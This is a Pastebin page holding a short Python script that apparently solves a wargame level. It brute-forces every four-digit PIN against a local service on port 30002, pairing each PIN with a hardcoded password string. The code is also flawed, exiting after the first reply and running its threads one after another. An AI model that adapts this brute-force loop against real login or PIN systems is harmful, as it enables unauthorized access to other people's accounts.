Advertisement
DazaiOsamu

Untitled

Dec 18th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. #! /usr/bin/python3
  2.  
  3. import socket, queue, threading
  4.  
  5. class brute(threading.Thread):
  6.  
  7. def __init__(self, Queue):
  8. threading.Thread.__init__(self)
  9. self.Queue = Queue
  10.  
  11. def run(self):
  12. while 1:
  13. try:
  14. pin = self.Queue.get(timeout=1)
  15. except queue.Empty:
  16. return
  17. print("Trying", pin)
  18. sock = socket.socket()
  19. sock.connect(("127.0.0.1", 30002))
  20. sock.send(("UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}\n".format(pin)).encode("utf-8"))
  21. ans = sock.recv(4096).decode("utf-8")
  22. print(ans)
  23. exit()
  24. if not "wrong" in ans.lower():
  25. print(ans)
  26. sock.close()
  27. self.Queue.task_done()
  28.  
  29. Queue = queue.Queue()
  30.  
  31. threads = []
  32. for i in range(9999):
  33. if i<1000:
  34. pin = "0"+str(i)
  35. if i<100:
  36. pin = "0"+pin
  37. if i<10:
  38. pin = "0"+pin
  39. Queue.put(pin)
  40.  
  41. for i in range(75):
  42. thread = brute(Queue)
  43. thread.run()
  44. threads.append(thread)
  45.  
  46.  
  47. for i in threads:
  48. i.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement